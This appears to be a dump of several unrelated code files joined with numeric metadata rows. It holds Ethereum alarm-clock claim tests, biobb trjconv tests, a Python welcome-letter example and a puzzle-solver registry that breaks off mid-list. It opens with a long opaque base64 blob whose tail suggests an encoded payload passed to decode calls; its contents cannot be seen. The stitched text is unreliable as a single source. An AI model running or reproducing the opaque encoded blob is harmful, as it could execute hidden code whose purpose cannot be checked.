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"))))
3,790
26,398
0.969016
776
26,530
33.128866
0.988402
0
0
0
0
0
0
0
0
0
0
0.152384
0.000678
26,530
6
26,399
4,421.666667
0.81729
0.003619
0
0
0
0.5
0.996595
0.996595
0
1
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
1
0
1
0
0
0
0
10
181795616d2fa87dfac4528d330bb5b1f863f7dd
6,843
py
Python
populus-tests/block-scheduling/test_block_claiming.py
romil797/ethereum-alarm-clock
b2710fb9ff24794fdb1100cdb80acee7efaeb94c
[ "MIT" ]
15
2017-09-19T20:54:00.000Z
2018-12-09T16:09:22.000Z
populus-tests/block-scheduling/test_block_claiming.py
romil797/ethereum-alarm-clock
b2710fb9ff24794fdb1100cdb80acee7efaeb94c
[ "MIT" ]
null
null
null
populus-tests/block-scheduling/test_block_claiming.py
romil797/ethereum-alarm-clock
b2710fb9ff24794fdb1100cdb80acee7efaeb94c
[ "MIT" ]
5
2017-11-17T20:18:06.000Z
2018-10-10T13:55:46.000Z
import pytest def test_cannot_claim_before_first_claim_block(chain, web3, RequestData, get_claim_data): txn_request = RequestData(windowStart=web3.eth.blockNumber + 255 + 10 + 5).direct_deploy() request_data = RequestData.from_contract(txn_request) first_claim_block = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize # sanity assert first_claim_block > web3.eth.blockNumber chain.wait.for_block(first_claim_block - 1) claim_txn_hash = txn_request.transact({ 'value': 2 * request_data.paymentData.payment, }).claim() chain.wait.for_receipt(claim_txn_hash) with pytest.raises(AssertionError): get_claim_data(claim_txn_hash) request_data.refresh() assert request_data.claimData.claimedBy == '0x0000000000000000000000000000000000000000' def test_can_claim_at_first_claim_block(chain, web3, RequestData, get_claim_data): txn_request = RequestData(windowStart=web3.eth.blockNumber + 255 + 10 + 5).direct_deploy() request_data = RequestData.from_contract(txn_request) first_claim_block = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize # sanity assert first_claim_block > web3.eth.blockNumber chain.wait.for_block(first_claim_block) claim_txn_hash = txn_request.transact({ 'value': 2 * request_data.paymentData.payment, }).claim() chain.wait.for_receipt(claim_txn_hash) claim_data = get_claim_data(claim_txn_hash) assert claim_data request_data.refresh() assert request_data.claimData.claimedBy == web3.eth.coinbase def test_can_claim_at_last_claim_block(chain, web3, RequestData): txn_request = RequestData(windowStart=web3.eth.blockNumber + 255 + 10 + 5).direct_deploy() request_data = RequestData.from_contract(txn_request) last_claim_block = request_data.schedule.windowStart - request_data.schedule.freezePeriod - 1 # sanity assert last_claim_block > web3.eth.blockNumber chain.wait.for_block(last_claim_block) claim_txn_hash = txn_request.transact({ 'value': 2 * request_data.paymentData.payment, }).claim() chain.wait.for_receipt(claim_txn_hash) request_data.refresh() assert request_data.claimData.claimedBy == web3.eth.coinbase def test_cannot_claim_after_last_claim_block(chain, web3, RequestData, get_claim_data): txn_request = RequestData(windowStart=web3.eth.blockNumber + 255 + 10 + 5).direct_deploy() request_data = RequestData.from_contract(txn_request) last_claim_block = request_data.schedule.windowStart - request_data.schedule.freezePeriod # sanity assert last_claim_block > web3.eth.blockNumber chain.wait.for_block(last_claim_block) claim_txn_hash = txn_request.transact({ 'value': 2 * request_data.paymentData.payment, }).claim() chain.wait.for_receipt(claim_txn_hash) with pytest.raises(AssertionError): get_claim_data(claim_txn_hash) request_data.refresh() assert request_data.claimData.claimedBy == '0x0000000000000000000000000000000000000000' def test_executing_own_claimed_block_request(chain, web3, RequestData, get_execute_data, get_claim_data): txn_request = RequestData(windowStart=web3.eth.blockNumber + 255 + 10 + 5).direct_deploy() request_data = RequestData.from_contract(txn_request) first_claim_block = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize # sanity assert first_claim_block > web3.eth.blockNumber chain.wait.for_block(first_claim_block) claim_txn_hash = txn_request.transact({ 'value': 2 * request_data.paymentData.payment, 'from': web3.eth.accounts[1], }).claim() chain.wait.for_receipt(claim_txn_hash) request_data.refresh() assert request_data.claimData.claimedBy == web3.eth.accounts[1] assert get_claim_data(claim_txn_hash) chain.wait.for_block(request_data.schedule.windowStart) execute_txn_hash = txn_request.transact({ 'from': web3.eth.accounts[1], 'gas': 3000000, }).execute() chain.wait.for_receipt(execute_txn_hash) request_data.refresh() assert request_data.meta.wasCalled is True assert get_execute_data(execute_txn_hash) def test_executing_claimed_call_after_block_reserved_window(chain, web3, RequestData, get_claim_data, get_execute_data): txn_request = RequestData(windowStart=web3.eth.blockNumber + 255 + 10 + 5).direct_deploy() request_data = RequestData.from_contract(txn_request) first_claim_block = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize # sanity assert first_claim_block > web3.eth.blockNumber chain.wait.for_block(first_claim_block) claim_txn_hash = txn_request.transact({ 'value': 2 * request_data.paymentData.payment, 'from': web3.eth.accounts[1], }).claim() chain.wait.for_receipt(claim_txn_hash) request_data.refresh() assert request_data.claimData.claimedBy == web3.eth.accounts[1] assert get_claim_data(claim_txn_hash) chain.wait.for_block(request_data.schedule.windowStart + request_data.schedule.reservedWindowSize) execute_txn_hash = txn_request.transact({'gas': 3000000}).execute() chain.wait.for_receipt(execute_txn_hash) request_data.refresh() assert request_data.meta.wasCalled is True assert get_execute_data(execute_txn_hash) def test_claim_block_determines_payment_amount(chain, web3, RequestData): txn_request = RequestData(windowStart=web3.eth.blockNumber + 255 + 10 + 5).direct_deploy() request_data = RequestData.from_contract(txn_request) claim_at = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize + request_data.schedule.claimWindowSize * 2 // 3 expected_payment_modifier = 100 * 2 // 3 # sanity assert request_data.claimData.paymentModifier == 0 assert claim_at > web3.eth.blockNumber chain.wait.for_block(claim_at) claim_txn_hash = txn_request.transact({ 'value': 2 * request_data.paymentData.payment, }).claim() chain.wait.for_receipt(claim_txn_hash) request_data.refresh() assert request_data.claimData.paymentModifier == expected_payment_modifier
35.827225
174
0.714014
812
6,843
5.678571
0.093596
0.133594
0.094773
0.058556
0.919974
0.899154
0.869226
0.861635
0.857515
0.857515
0
0.034313
0.199328
6,843
190
175
36.015789
0.807264
0.007014
0
0.758333
0
0
0.020186
0.012377
0
0
0.012377
0
0.2
1
0.058333
false
0
0.008333
0
0.066667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
187dbcdc7b229d6e0034ddd0d0a2b5ef630e827a
997
py
Python
biobb_analysis/test/unitests/test_gromacs/test_gmx_trjconv_str_container.py
bioexcel/biobb_analysis
794683daf65eb13ddaaaf6cf3c19da6d1322a949
[ "Apache-2.0" ]
3
2019-05-18T14:52:30.000Z
2020-10-18T06:20:00.000Z
biobb_analysis/test/unitests/test_gromacs/test_gmx_trjconv_str_container.py
bioexcel/biobb_analysis
794683daf65eb13ddaaaf6cf3c19da6d1322a949
[ "Apache-2.0" ]
7
2019-03-04T15:04:28.000Z
2021-06-17T10:57:25.000Z
biobb_analysis/test/unitests/test_gromacs/test_gmx_trjconv_str_container.py
bioexcel/biobb_analysis
794683daf65eb13ddaaaf6cf3c19da6d1322a949
[ "Apache-2.0" ]
null
null
null
from biobb_common.tools import test_fixtures as fx from biobb_analysis.gromacs.gmx_trjconv_str import gmx_trjconv_str class TestGMXTrjConvStrDocker(): def setUp(self): fx.test_setup(self,'gmx_trjconv_str_docker') def tearDown(self): fx.test_teardown(self) pass def test_trjconv_str_docker(self): gmx_trjconv_str(properties=self.properties, **self.paths) assert fx.not_empty(self.paths['output_str_path']) assert fx.equal(self.paths['output_str_path'], self.paths['ref_output_str_path']) class TestGMXTrjConvStrSingularity(): def setUp(self): fx.test_setup(self,'gmx_trjconv_str_singularity') def tearDown(self): fx.test_teardown(self) pass def test_trjconv_str_singularity(self): gmx_trjconv_str(properties=self.properties, **self.paths) assert fx.not_empty(self.paths['output_str_path']) assert fx.equal(self.paths['output_str_path'], self.paths['ref_output_str_path'])
34.37931
89
0.722166
136
997
4.977941
0.242647
0.118168
0.115214
0.100443
0.714919
0.714919
0.714919
0.714919
0.714919
0.714919
0
0
0.172518
997
29
90
34.37931
0.820606
0
0
0.636364
0
0
0.147295
0.049098
0
0
0
0
0.181818
1
0.272727
false
0.090909
0.090909
0
0.454545
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
7
43f5191f12d94891e7dd34ede471317b2f5c264a
819
py
Python
Part_3_advanced/m15_design_patterns/abstract_factory/example_1/document_system/welcome_letter.py
Mikma03/InfoShareacademy_Python_Courses
3df1008c8c92831bebf1625f960f25b39d6987e6
[ "MIT" ]
null
null
null
Part_3_advanced/m15_design_patterns/abstract_factory/example_1/document_system/welcome_letter.py
Mikma03/InfoShareacademy_Python_Courses
3df1008c8c92831bebf1625f960f25b39d6987e6
[ "MIT" ]
null
null
null
Part_3_advanced/m15_design_patterns/abstract_factory/example_1/document_system/welcome_letter.py
Mikma03/InfoShareacademy_Python_Courses
3df1008c8c92831bebf1625f960f25b39d6987e6
[ "MIT" ]
null
null
null
from typing import Protocol class WelcomeLetter(Protocol): def render(self) -> str: ... def sign(self, signature: str) -> None: ... class WelcomeLetterPdf: def __init__(self, name: str) -> None: self.name = name self.signature = "" def render(self) -> str: return f"PDF\n Witaj {self.name}! \n\n Treść listu \n {self.signature}" def sign(self, signature: str) -> None: self.signature = f"Podpisano: {signature}" class WelcomeLetterDoc: def __init__(self, name: str) -> None: self.name = name self.signature = "" def render(self) -> str: return f"DOC\n Witaj {self.name}! \n\n Treść listu \n {self.signature}" def sign(self, signature: str) -> None: self.signature = f"Podpisano: {signature}-doc"
24.088235
79
0.598291
102
819
4.72549
0.254902
0.242739
0.091286
0.099585
0.757261
0.757261
0.701245
0.701245
0.701245
0.701245
0
0
0.262515
819
33
80
24.818182
0.798013
0
0
0.636364
0
0.090909
0.20757
0
0
0
0
0
0
1
0.363636
false
0
0.045455
0.090909
0.636364
0
0
0
0
null
1
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
43f7c517129f818adeea158d1cc9537f0e356f48
36,254
py
Python
solvers/__init__.py
kevinychen/nikoli-puzzle-solver
be288566e9b864d7acd0c063a6d2bc1fc067a32c
[ "MIT" ]
4
2022-01-03T04:21:08.000Z
2022-02-25T05:51:59.000Z
solvers/__init__.py
kevinychen/nikoli-puzzle-solver
be288566e9b864d7acd0c063a6d2bc1fc067a32c
[ "MIT" ]
null
null
null
solvers/__init__.py
kevinychen/nikoli-puzzle-solver
be288566e9b864d7acd0c063a6d2bc1fc067a32c
[ "MIT" ]
1
2022-01-12T00:03:48.000Z
2022-01-12T00:03:48.000Z
from re import match from typing import Optional from solvers.aquarium import AquariumSolver from solvers.balanceloop import BalanceLoopSolver from solvers.castlewall import CastleWallSolver from solvers.cave import CaveSolver from solvers.easyasabc import EasyAsAbcSolver from solvers.fillomino import FillominoSolver from solvers.hashiwokakero import HashiwokakeroSolver from solvers.heteromino import HeterominoSolver from solvers.heyawake import HeyawakeSolver from solvers.hitori import HitoriSolver from solvers.kakuro import KakuroSolver from solvers.kropki import KropkiSolver from solvers.lightup import LightUpSolver from solvers.lits import LITSSolver from solvers.masyu import MasyuSolver from solvers.meanderingnumbers import MeanderingNumbersSolver from solvers.minesweeper import MinesweeperSolver from solvers.nonogram import NonogramSolver from solvers.numberlink import NumberlinkSolver from solvers.nurikabe import NurikabeSolver from solvers.shakashaka import ShakashakaSolver from solvers.shikaku import ShikakuSolver from solvers.simpleloop import SimpleLoopSolver from solvers.skyscrapers import SkyscrapersSolver from solvers.slitherlink import SlitherlinkSolver from solvers.starbattle import StarBattleSolver from solvers.sudoku import SudokuSolver from solvers.tapa import TapaSolver from solvers.tapalikeloop import TapaLikeLoopSolver from solvers.tentaisho import TentaishoSolver from solvers.tents import TentsSolver from solvers.yajilin import YajilinSolver from solvers.yinyang import YinYangSolver PUZZLES = [ ('aquarium', "Aquarium", AquariumSolver), ('balance', "Balance Loop (Shingoki)", BalanceLoopSolver), ('castle', "Castle Wall", CastleWallSolver), ('cave', "Cave", CaveSolver), ('easyasabc', "Easy as ABC", EasyAsAbcSolver), ('fillomino', "Fillomino", FillominoSolver), ('hashikake', "Hashiwokakero", HashiwokakeroSolver), ('heteromino', "Heteromino", HeterominoSolver), ('heyawake', "Heyawake", HeyawakeSolver), ('hitori', "Hitori", HitoriSolver), ('kakuro', "Kakuro", KakuroSolver), ('kropki', "Kropki", KropkiSolver), ('lightup', "Light Up (Akari)", LightUpSolver), ('lits', "LITS", LITSSolver), ('mashu', "Masyu", MasyuSolver), ('meander', "Meandering Numbers", MeanderingNumbersSolver), ('mines', "Minesweeper", MinesweeperSolver), ('nonogram', "Nonogram", NonogramSolver), ('numlin', "Numberlink", NumberlinkSolver), ('nurikabe', "Nurikabe", NurikabeSolver), ('shakashaka', "Shakashaka", ShakashakaSolver), ('shikaku', "Shikaku", ShikakuSolver), ('simpleloop', "Simple Loop", SimpleLoopSolver), ('skyscrapers', "Skyscrapers", SkyscrapersSolver), ('slither', "Slitherlink", SlitherlinkSolver), ('starbattle', "Star Battle", StarBattleSolver), ('sudoku', "Sudoku", SudokuSolver), ('tapa', "Tapa", TapaSolver), ('tapaloop', 